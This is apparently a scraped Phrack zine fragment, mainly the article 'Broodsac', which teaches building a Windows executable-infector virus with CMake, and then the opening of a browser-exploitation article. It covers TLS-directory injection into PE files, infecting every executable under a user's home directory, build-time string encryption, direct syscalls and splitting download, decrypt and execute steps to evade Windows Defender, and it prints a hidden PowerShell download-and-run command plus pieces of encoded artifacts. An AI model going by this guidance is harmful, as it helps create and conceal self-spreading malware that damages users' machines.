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 IA

EOF

A VX Adventure in Build Systems and Oldschool Techniques

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x09 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Broodsac ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑=[ A VX Adventure in Build Systems and Oldschool Techniques ]=‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑=[ Amethyst Basilisk <amethyst.basilisk@gmail.com> ]=‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of Contents

1. Introduction

2. Planning the Virus

3. Designing the Virus

4. Building the Virus

5. Dealing with Development Hazards

5.1. The Original Design Fails

5.2. Antivirus Catches It

6. Conclusions

7. Shouts

8. References

9. Artifacts

‑‑[ 1. Introduction

There is nothing more thrilling than a successful payload. But in the pursuit of payloads, we are susceptible to dopamine addiction. And in that addiction, we seek shortcuts to get our hit. Indeed, the urgence of speed requires us to hunt these shortcuts as well. Just use bash glue. Don't worry about code maintainability. I have the compiler, why make things more complicated?

It is easy to forget when pursuing our dark arts‑‑ from viral writing to exploitation‑‑ that in everything we do, we are creating software. And software gets complicated. Certainly, for shellcoding, it is merely a oneliner with NASM to create a binary blob of your creation. That's not complicated at all. But isn't the shellcode going somewhere? C won't let you simply merge binary blobs into your code. (Not until C23, anyway.)

And it's not always as easy as concatenating your creation onto your executable. What if you want to encrypt the shellcode somehow? And what if another program has to handle that shellcode? And that program might be the payload of another program in the chain! This doesn't even begin to consider what automation your assembly payload might require, such as dynamic obfuscation.

Our dark arts are a mess of project management‑‑ payload factories, matryoshka obfuscation, a plethora of moving parts necessitating cleverness. It is not to say our quick hacks are not worthy of their purpose‑‑ they are. But they are more often than not optimized for speed, not interoperability, maintainability or portability. A good build system, by sometimes sacrificing short‑term speed of development, provides these things.

Unix users are already familiar with this. One of the oldest build systems, GNU Make and the autotools suite, is fundamental to sharing and building code on Unix‑like platforms. Windows users, however, don't have this culture. Everything is Visual Studio projects. And like everything Windows, the MSVC build system is a veritable black box behind the Visual Studio IDE. The hackers who can wield MSVC's black magic to their whim have undoubtedly inspired us with their mindblowingly assembled payloads. Lord knows I would love to see SmokeLoader's build system[10].

You can think of this article as a cooking recipe. While the virus technique used here is nowhere near novel ("roy g biv already did it"), it is wrapped in techniques and best practices to build any type of virus. We will cover the use of a robust build system to construct our virus and discuss techniques for build systems that bolster our malware development. We will also be covering some techniques necessary to circumvent Windows Defender, as this is now the baseline we must develop against.

To follow along, grab a copy of Visual Studio with C++ support, CMake (https://cmake.org) and NASM for Windows (https://nasm.us). To fully

understand this article, you are expected to have a basic understanding of PE files.

‑‑[ 2. Planning the Virus

We want to write an executable infector for Windows. To do that, we need to break down the moving pieces involved in an executable infector. While traditional executable infectors have gone out of style due to advances in executable security, it can still be done‑‑ especially in the advent of developers not being able to afford or care for signing their binaries. (Hello, Rust!)

At the outset in the abstract, we have two pieces: the *infector* and the *infection*. The *infector* is obviously responsible for infecting executables it finds. The *infection* is simply whatever payload we want to inject into various executables. Already, we have a dependency to work with: naturally, the *infector* relies on the *infection* in the build system, somehow. We want the infection to be flexible and portable so it's as easy as possible to inject into executables. Shellcoding fits this purpose perfectly.

For writing quality shellcode, we stick with the C‑then‑ASM philosophy of writing our payload. In Broodsac, we have opted to let the compiler's optimizer optimize our C code and hand‑translated that into an assembly file.

While this can be tedious the larger the shellcode gets, we luckily don't have to worry about traditional requirements of shellcode as it comes to exploitation, since we're targeting an executable, not an exploitable buffer. Therefore, we have relatively fewer limits. Additionally, because Windows has support for both 32‑bit and 64‑bit binaries, and being the dinosaur it is, 32‑bit architecture is still relevant. So payloads for both architectures will be necessary.

At the outset of our plan, our virus hierarchy looks like this:

+ broodsac

+ infection

+ ASM

+ 32

+ 64

+ C

The infection is purely a necessity of the infector, and as such, should be contained within its directory as a dependency. We should provide ourselves some external ability to compile the assembly payloads into their own binary for testing purposes. This means, in the abstract, we have roughly four binaries to work with‑‑ the infector, the 32‑bit ASM, the 64‑bit ASM, and the C payload. Our infector should merely only rely on the assembly payloads, so we know we should somehow connect these pieces at the outset to our infector build.

Having the projects individually separated this way makes the moving pieces easier to manage. Disaster, so to speak, is relatively contained to the individual units, organized and in their place. From the outside‑especially when accustomed to a hack‑fast lifestyle‑‑ you would not be blamed for seeing this organization as mere masturbation. Again, why bother when I can just stick everything in the same folder and issue compilation commands where I deem fit?

Demons lurk in your code. That's why. They will snap out and pull you under when you least expect it, splashing red on your screen, spewing Stoustrup's nightmare inheritance, demanding refactoring for your sinful C. Being organized and compartmentalized in your endeavors gives you the territorial high ground in the battle of bugs. Being prepared for something to go wrong turns these demons into mere irritants.

Constructing a build system around your virus exposes the pain‑points when and where things go wrong, allowing you to quickly and elegantly attend to the problem. It also acts as a functional, engineerable glue to wrap around your build. The more complex your virus gets, the more a solid build system becomes essential, freeing us from the chains of uncreative compiler corporations.

‑‑[ 3. Designing the Virus

We now have the abstract design of all the pieces of our virus. Next we need to fill in the blanks! We have two questions we need to answer:

+ How should our virus infect the executable?

+ What should our viral payload do?

The first question was answered initially‑‑ naively‑‑ with code caves and PE file entrypoint redirection. Entrypoint redirection is a technique as old as EXE infections[1]. Unfortunately, code caves in executables aren't frequently in a size capable of handling the beast that is Windows shellcode. On average, you get around 200 bytes. Suitable for a Linux shellcode, not very good for a Windows shellcode.

After some thinking, TLS directory injection[2] was settled upon. The TLS directory‑‑ or Thread Local Storage‑‑ is one of many directories within a PE file. It is responsible for ultimately managing thread memory storage tactics within the given executable. A notable trait of the TLS directory is initialization callbacks. There can be many, and they're iteratively called on process startup. In other words, the TLS directory takes precedence over the main routine, as the TLS directory initialization is part of the PE loading process. Remember this last part‑‑ it will bite us in the ass later.

There is a matter of how our TLS section gets inserted into the binary. We have simply opted to insert a new section, as we can provide a guarantee that the section will be executable and writable, as opposed to containing other metadata such as program resources. If we wanted to be stealthier about the infection, we could control for executable sections and apply the 29A technique[3] of expanding the last section in the executable. Naturally, the trade‑off for stealth here will be to reduce potential attack surface and‑‑ perhaps intentionally‑‑ increasing complexity of detecting the infection. The power is yours.

We want executable targets. Where do we find them? Surprisingly, in the user's home directory. Gone are the days of every program installing itself in the Program Files directory, now is the dawn of AppData and the user's document folder where they unzip various packages of unsigned executables. We can simply recursively iterate the user's home directory for targets.

As for what it should do on infection? I'm a particular fan of the Desktop Pet project[4], formerly known as eSheep in the 90s. An appropriate payload to send up an infection technique from the 90s. It provides a great visual if the payload executes for testing purposes. Our payload should simply download (if the file doesn't exist) and execute this cute little sheep onto the user's desktop. Who would oppose such adorable software augmenting executables with a delightful animal friend? A simple download‑exec of this payload will be perfect.

‑‑[ 4. Building the Virus

Quick and dirty, to build Broodsac, uudecode the artifacts in section 9 to get the tarball, extract it, and run the following:

$ cd broodsac

$ mkdir build

$ cd build

$ cmake ../ ‑A x64

$ cmake ‑‑build ./ ‑‑config Release

Naturally, I am assuming you won't be foolish enough to run the result on a system you don't want tampered with. Unless you *want* sheep friends in your executables, then by all means.

While you are building your virus, you are undoubtedly going to encounter bugs. Considering we are building software, we should borrow from software's philosophy of creating and performing tests. These do not have to be formal unit tests, per se, where functionality is verified at individual code points, but they should somehow test the functionality of your virus. Considering the volatility of the undefined behavior of targets we work with in our dark development, you should absolutely build with tests in mind at the forefront.

There are three key questions we need to consider for our testing purposes:

+ Does the payload work?

+ Does the infector successfully infect?

+ Does the infection succeed without disrupting original execution?

The first question has an actionable task for us: how do we test this? Naturally, we don't have to do it programatically‑‑ we simply need to run the payload in its many forms to see if it successfully launches a cute little sheep. C and Assembly have various development pitfalls that will become apparent during this simple testing process. To build and test our 64‑bit payload, for example, we can simply do this:

$ cd infection/asm/64

$ mkdir build

$ cd build

$ cmake ../ ‑DINFECTION_STANDALONE=ON ‑A x64

$ cmake ‑‑build ./ ‑‑config Release

$ ./Release/infection_asm_64.exe

If our payload succeeds, we are rewarded with a cute little sheep. A simple test.

This is similar to the configure/make process on Linux. CMake takes the CMakeLists.txt in the target directory and builds the configuration for your compilation tools necessary in order to perform a build. We have configured our ASM files to be compileable as either standalone binaries for individual testing, or as static libraries to be included with the infector binary.

A static library was chosen as the method of merging our payloads into our binary because it's simple and elegant, since the payload's architecture will match. Instinctively, we see shellcode as a unit to be stored away, to be converted to a hex string and stashed away in some C code. So we wind up doing creative things with it, as to us, it is merely a blob of data to be wrangled into something. We tend to forget that the shellcode can be its own individual code unit.

But with a build system on your side, you can augment the way your shellcode comes out at the compilation stage. After doing various build customizations to our shellcode payload, in our infector binary's CMake file, we include this and the 32‑bit version this way:

add_subdirectory(${PROJECT_SOURCE_DIR}/infection/asm/32) add_subdirectory(${PROJECT_SOURCE_DIR}/infection/asm/64)

add_executable(broodsac WIN32 main.c) target_link_libraries(broodsac infection_asm_32 infection_asm_64)

In a rather clean way, with a simple set of "extern" keywords in the infector's main.c file, we have included our shellcode payloads into the main binary. While not shown yet, in addition to this process, we have managed to automate a step of encrypting the strings within the payload code, so every time our build is executed, the strings are re‑encrypted and re‑assembled in the infector executable.

We have avoided the tedium of manually converting our shellcode into an array of some kind and even added an obfuscation step along the way. The beauty of this method is that it avoids the unseen hazards that tend to spring up from the speedy solutions we're used to. And at the end of the day: it's just good software development practice.

Let's get back to our questions. The other questions, while having the same action item, have a more complicated answer. We need to test and analyze the infected executables to verify and debug infections. So we need to enumerate what we need to test based on our design intent.

Because we're dealing with the TLS directory, we are dealing primarily with *virtual addresses*, as opposed to RVA and offsets. Virtual addresses tend to imply the need for relocations within the binary. This is absolutely something we need to deal with as an executable infector‑‑ with the ubiquity of Address Space Layout Randomization (aka /DYNAMICBASE), we would be stupid to not consider modifying the relocation directory of a target executable in the case of infection.

Thus, we have four states of configuration to test infection against:

+ no tls directory present, no relocation directory present + no tls directory present, relocation directory present + tls directory present, no relocation directory present + tls directory present, relocation directory present

In addition to this, we need to consider targeting the 32‑bit architecture as well, creating a total of 8 binary configurations to test against! This brings the total code projects in our virus project to 12. With a good build system, we can construct all these test binaries rather easily:

$ cd infectables

$ mkdir build32 build64

$ cd build32

$ cmake ../ ‑A Win32

$ cd ../build64

$ cmake ../ ‑A x64

The build scripts can basically follow a folder hierarchy and build multiple projects contained within, which is what's happening here. We now have two configured build environments‑‑ one for 32‑bit and one for 64‑bit.

$ cd build32

$ cmake ‑‑build ./ ‑‑config Release

$ cd ../build64

$ cmake ‑‑build ./ ‑‑config Release

This will place all the binaries in the Release directory within the build environment. They can then be targeted for infection by our infector executable for testing purposes. Like the compiler at the command line, we can configure various switches to define CMake headers. We can configure our infector to be aware of a directory containing our infectable executables:

$ mkdir build

$ cd build

$ cmake ‑DBROODSAC_DEBUG=ON ‑DBROODSAC_INFECTABLES="infectables" \ ‑A x64 ../

This command effectively builds Broodsac in debug mode. Rather than targeting the user's home directory, it will instead target the infectable directory, where our test programs are currently built. By running Broodsac in this state, we can easily verify the state of infection and its corresponding payload. And this is of utmost importance‑‑ the demons that hit the hardest, lurk the lowest. Robust testing will help to eradicate them.

‑‑[ 5. Dealing with Development Hazards

The result of the virus you see here is a labor of love, of many hours spent debugging, testing, verifying, fixing and refactoring. But when you see the final product, what you don't see are those little steps along the way that ultimately built the product before you. So it's hard to appreciate the struggle, the fight that comes with software development. It is, for the most part, an individual journey that everyone who writes code wanders on.

It is very easy to laugh at a good, terrible bug. It amazes us when stupid bugs seem to have a persistent lifetime, just waiting to be discovered by the next lucky actor. But bugs are part of the life‑cycle of software, whether exploitable or not, and as you cannot escape the gravitational pull of software development as a virus writer, you may as well embrace its best practices.

This section focuses on two pivotal points of critical failure in the process of developing this virus: a point when an initial payload idea failed at the last minute, and the point when antivirus seemed to start detecting our infections.

‑‑[ 5.1 The Original Design Fails

Do you remember when I said the TLS directory would come back to bite us in the ass? How did having a robust build system help us with that?

Originally, our payload was a very simple, sensible program: import GetFileAttributes, URLDownloadToFileA and ShellExecuteA. This would essentially be all we needed to download our sheep and run it on the target system. To help explain the chaos we mitigated, let's break down the steps we need to generate and test our final payload, the infector:

1. compile the C infection

2. test the C infection

3. translate to assembly on 32‑bit and 64‑bit architectures 4. compile the assembly (2x)

5. test the assembly (2x)

6. incorporate the shellcode into our infector

7. compile the infector

8. test the infector

9. verify the infections succeed

When we fully enumerate the steps needed to build a sound virus, we can appreciate the simplification a build system provides a complex ecosystem. Because at any given step in this process, something can fail. At any given point in the process, if there *is* failure, we will have to restart at a certain point. The more time it takes to resume where we failed, the more time that is wasted. And not being clear from an organizational standpoint where you need to go to restart is a time waster. A good build system saves you time, a very precious resource.

In this case, it was discovered that ShellExecuteA and URLDownloadToFileA were failing all the way at step 9. Ass status: bitten. And look at when it chose to bite us‑‑ testing, rather than deployment. Why was it bitten? Our infection technique of TLS injection.

Due to choosing to perform TLS injection on the binary, we were tempted by the fact that we got precedence over the entrypoint of the infected executable. But this means we're currently executing in the context of the executable loader. This means our infected executable is not yet fully loaded. In particular to our conundrum, *threads* are not yet fully initialized. It was observed when ShellExecuteA and URLDownloadToFileA were executed within the context of a TLS directory callback, they would hang. It was noted, too, that the process attempted to create a thread before it hung. This likely meant we could not use any functions which wound up spawning threads.

The payload was changed to something slightly less conventional: CreateProcessA. While not unconventional for our payload program, the way we eventually went about downloading the payload certainly was. CreateProcessA eventually calls NtCreateProcess, a function of ntdll.dll which ultimately culminates in a kernel syscall. This would undoubtedly be thread‑safe in our TLS directory. So how did we eventually download our payload? A call to Powershell.

Certainly goofy for a shellcode payload to make an external call to Powershell when the API is at your fingertips, isn't it? So is the nature of hacking‑‑ when faced with a challenge, we heed the call with nonstandard solutions, in spite of our opinions, when it simply works.

Nonetheless, this solution required a significant rewrite of the code. The C payload would need to be rewritten, recompiled, translated into assembly, those assembly files compiled, and stuck back into our infector. Essentially, we are forced to go back to the beginning of our steps enumerated and work our way back to our infector. That's a lot of time, and even more steps to take without the simplification provided by a build system!

But with everything glued together, the only time we are wasting is simply the equivalent of raking the sand in our zen garden: coding and analyzing. All because our build system makes our complicated abstract verification steps relatively mindless:

$ cd infection/c/build

$ cmake ‑‑build ./

$ ./Debug/infection_c.exe # any sheep? try again

$ cmake ‑‑build ./ ‑‑config Release # for translating to asm $ cd ../../asm/32/build

$ cmake ‑‑build ./

$ ./Debug/infection_asm_32.exe # any sheep? try again $ cd ../../64/build

$ cmake ‑‑build ./

$ ./Debug/infection_asm_64.exe # any sheep? try again $ cd ../../../../build # footgun: are you debug configured? $ cmake ‑‑build ./

$ ./Debug/broodsac.exe # at least you just get sheep if you footgun

Every step where something could functionally go wrong is isolated into its own place, manageable in their own regards. Each action we need to create our virus, from payload to delivery, is instrumented and flows smoothly between one another. When something goes wrong at any point in this chain, we know exactly where to restart, and can quickly act and tackle the issue.

It's one thing to be agile when it comes to mitigating the demons of bugs, though, but what of the demons of emergency feature requests? It is not merely a push of management that inspires such spikes in development, but of surprise necessity.

‑‑[ 5.2 Antivirus Catches It

It was incredibly amusing to me when I noticed the sheep being detected as malware. Curious, because the sheep itself was technically benign‑‑ the infector and the infection were actually the malware. Initially, I whitelisted it in Windows Defender while I was working and didn't really think anything of it, I'll fix it later. Eventually, I had to face the music and figure out why my virus was being detected, even if the sheep was curiously benign.

The hints we were receiving from Windows Defender was that it was some kind of script that triggered it, and that the signature it was hitting on was called "Trojan‑Script/Wacatac.B!ml." Some research on the signature told us absolutely nothing, as procedurally generated signatures are wont to do. It did manage to tell us that everyone is pissed that all sorts of random benign executables were being flagged as Wacatac. We're being taken down by a false positive? Positively embarrassing.

Anyway, it seemed clear that with the script hint that it was triggering on our Powershell one‑liner. I didn't even bother to obfuscate the command in any way whatsoever, so it's no wonder it got caught in the end. We later confirmed thanks to some Windows Defender signature research[5] that our download string was absolutely in there, somewhere, so surely this was the culprit. This means, now, we would have to obfuscate it.

Sure, we could just do it one‑and‑done and hardcode it into the assembly files, but where's the fun in that? They'll just flag the encrypted blob and call it a day! Where's the flexibility in that? And what if I need to change the eventual command entirely? How can I make this as painless as possible for me and others who want to transform this code?

The beauty of a good build system is an ability to humbly offload build commands to another process at specific points in the build. Let's look at the code in our payloads which encrypts the strings:

add_custom_command(TARGET infection_asm_64

PRE_BUILD

COMMAND powershell ARGS

‑ExecutionPolicy bypass

‑File "${CMAKE_CURRENT_SOURCE_DIR}/../strings.ps1" ‑payload_program "\\??\\C:\\ProgramData\\sheep.exe" ‑payload_command "sheep"

‑download_program "\\??\\C:\\Windows\\System32\\WindowsPowerShell\ \\v1.0\\powershell.exe"

‑download_command "powershell ‑ExecutionPolicy bypass \ ‑WindowStyle hidden \

‑Command \"(New‑Object System.Net.WebClient).DownloadFile(\ 'https://amethyst.systems/sheep.dat', 'C:\\ProgramData\\sheep.exe')\""

‑output "${CMAKE_CURRENT_BINARY_DIR}/$<CONFIG>/infection_strings.asm" VERBATIM)

Powershell was chosen simply because it's easier to work with than the oldschool CMD. A simple script was created which transformed the many strings we needed to encrypt, chooses a random key, then does the traditional xor‑encrypt on the string. The script produces a NASM include file and dumps it into the binary directory of the build system‑essentially the catch‑all directory for any generated artifacts. We then include that directory in the assembler directives so our assembly files can see it:

target_include_directories(infection_asm_64 PUBLIC "${CMAKE_CURRENT_SOURCE_DIR}" "${CMAKE_CURRENT_BINARY_DIR}/$<CONFIG>")

As creatives whose canvas is questionable machine code, we can no doubt see the attractiveness and capability that this brings. If you're really feeling saucy, you can even mutate COFF objects and incorporate them with specific library configurations via CMake as well! Mucking around with object files directly would look something like this:

add_library(obfuscateme STATIC obfu.c) add_custom_command(TARGET obfuscateme

PRE_LINK COMMAND obfuscate ARGS "${CMAKE_CURRENT_BINARY_DIR}/obfuscateme.dir/$<CONFIG>/obfu.obj") add_executable(virus main.c) target_link_libraries(virus obfuscateme)

What these simple four lines wind up doing is compiling a set of functionality that needs to be obfuscated, calling the obfuscator on our compiled object file, which is then reincorporated into our build process at the linking stage, then adding the obfuscated code as a library dependency of the main virus. Whenever the virus target is called to be compiled, the functionality will be obfuscated and incorporated into our code automatically. Fundamentally, if you can call an external command to generate anything as part of your build process, the sky's the limit with what you can incorporate into your program.

As exciting as the implications of these particular capabilities are, our thought to mask the signatures we thought we were hitting on was not sufficient. See, as the Defender signature research[5] demonstrates, there are multiple types of signatures to deal with, and according to DefenderCheck[6] and the slightly more advanced ThreatCheck[7], I was not hitting on static signatures. Indeed, digging into the guts of the threat names in the defender signature database proved relatively fruitless for hints on how to evade‑‑ there was a static signature algorithm that wasn't quite coherent on how it was being scanned and, more importantly, a thing called a "NID."

A NID, in this case, appears to identify something within the Network Realtime Inspection Service.[8] Probably some sort of metadata information about certain behavior. This means our signatures were likely triggering on a behavioral signature! How could we get around this?

Naively, having not run into this before, we threw random shit at the wall to see if it worked. Hell's Gate? The Network Realtime Inspection Service wasn't exactly an EDR, so naturally, it didn't work. Not to mention, with Microsoft's unique position on the Windows landscape (they are the dungeon master), attempting to evade EDR just isn't nearly deep enough. But for the sake of completeness of potential evasions, it was left in Broodsac's payload. (The Hell's Gate implementation consists of direct syscalls, not indirect syscalls, so it still could use some work.)

Fundamentally, a behavioral signature relies on chaining certain actions together to declare something as potentially nasty. Let's step through what our payload essentially does that could get flagged as potentially malicious:

+ download an executable

+ perhaps decrypt the executable

+ execute the executable

Frankly I see nothing wrong with this, but apparently Microsoft disagrees!

A funny quirk about behavioral analysis, though, is that it relies on identifying the behavior of a given execution context, not the sum of its executions. In order for behavioral analysis to succeed, the bad behaviors which happen in combination need to happen within the same execution context. If we split the three tasks above into three separate execution contexts‑‑ download, decrypt and execute‑‑ will this be sufficient to bypass the behavioral detection?

Yes! While I did not reverse‑engineer NisSrv.exe to see the why's of why I evaded, the theory of splitting up tasks across execution contexts succeeded in bypassing Defender. The payload thus evolved into an interesting multistage payload. The user would have to run the infected executable multiple times before a sheep would appear. This would have the added benefit of confusing stealth. Where is the sheep coming from? Why does it keep happening when I run this program? Baffling! But adorable. In this way, Broodsac lives up to the name of the multi‑staged worm it was named after, the green‑banded broodsac.[9]

Our zen garden is tended, and ready to be shared, for others to meditate upon and ponder for their own gardens. For that meditation, the various code objects contained in the tarball attached to this article have been annotated with comments to explain the individual code areas and what they're doing. Naturally, the complexity of the dinosaur that is the PE format comes with annoying, disgusting tricks and habits that make one ashamed of their code in the first place. I apologize on Mark Zbikowski's behalf.

‑‑[ 6. Conclusions

It is without a doubt that the strange developmental anomalies you see within wild samples of malware are the byproduct of some sort of build system. SmokeLoader's use of encrypted functions is certainly not a feature of the MSVC compiler[10]. But even a nasty rewrite of a C‑file being dumped into a directory for an IDE to compile, while quick and dirty as we hackers love to do, would technically count as a build system. After all, the Visual Studio IDE is merely a shell for the build system that is MSVC. But as virus writers, we are still technically engineers at the end of the day. We long for the beautiful solution to the problem. We ultimately want our own little zen garden to tend to.

The beauty of CMake in particular is in the fact that it's cross‑platform. So if you have code‑‑ for example, an obfuscation engine‑‑ that is capable of being used on multiple platforms, CMake can be used to make building the project on each platform relatively painless. Just like how CMake wrangles MSVC, it can also wrangle the complex build environment that is GNU Make. Many other build targets are supported‑‑ but some not as fully as MSVC and GNU. Exotic targets may have some difficulty.

I hope I have made a good argument for incorporating build systems into your payload development. While we can certainly get by with surface shell scripts, wouldn't it be wonderful to get into the guts of the machine at the linker level? Linux developers have that privilege, why not liberate that access on Windows? After all, we're all effectively the demons of our target operating systems‑‑ we lurk at the lowest level of the machine, and we love it here.

‑‑[ 7. Shouts

0x6d6e647a for editing, dc949 for being family, slop pit for memes and hardchats.

‑‑[ 8. References

[1]: 40Hex #8: An Introduction to Nonoverwriting Virii, Part II: EXE Infectors, https://amethyst.systems/zines/40hex8/40HEX‑8.007.txt

[2]: 29A #6: W32.Shrug, by roy g biv, https://amethyst.systems/zines/29a6/29A‑6.615.txt

[3]: 29A #2: PE infection under Win32, https://amethyst.systems/zines/29a2/29A‑2.3_1.txt

[4]: https://github.com/Adrianotiger/desktopPet

[5]: https://github.com/commial/experiments/tree/master/windows‑defender

/VDM

[6]: https://github.com/matterpreter/DefenderCheck

[7]: https://github.com/rasta‑mouse/ThreatCheck

[8]: https://techcommunity.microsoft.com/t5

/security‑compliance‑and‑identity /enhancements‑to‑behavior‑monitoring‑and‑network‑inspection /ba‑p/247706

[9]: https://en.wikipedia.org/wiki/Leucochloridium_paradoxum

[10]: https://www.sentinelone.com/blog

/going‑deep‑a‑guide‑to‑reversing‑smoke‑loader‑malware/, see "Decoding the Buffer"

‑‑[ 9. Artifacts

begin 644 broodsac.tar.gz M'XL(`````````^P]:W?;‑K+][%^!9KNI9$N.93O>['7L<V1)KG6O+/E(<K*] end

Allocating new exploits

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x0A of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Allocating new exploits ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Pwning browsers like a kernel ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑=[ Digging into PartitionAlloc and Blink engine ]=‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ r3tr074 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ r@v8.fail ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

He who fights with monsters might

take care lest he thereby become a

monster. And if you gaze for long

into an abyss, the abyss gazes

also into you."

Friedrich Nietzsche

‑‑‑[ Index

0 ‑ Introduction

1 ‑ Chromium rendering engine overview

2 ‑ Case study: BMP 0day

2.1 ‑ Bug power, the primitives

3 ‑ PartitionAlloc, the memory allocator

3.1 ‑ PartitionAlloc security guarantees

4 ‑ Exploitation

5 ‑ Takeaways, advances, etc etc etc

6 ‑ References

